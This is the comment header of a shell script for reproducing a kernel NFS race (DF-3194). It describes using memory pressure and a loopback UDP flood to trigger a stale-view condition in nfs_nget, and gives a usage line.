# DF-3194 run3.sh - amplified reproduction attempt (root)
#   - deeper bucket already populated from the prior run (no re-fill)
#   - memory pressure (memhog) makes nfs_nget's creation-phase M_WAITOK
#     allocations block mid-create, the deterministic stale-view setup
#   - loopback UDP flood for netisr preemption bursts
# usage: run3.sh [rounds] [start_idx]
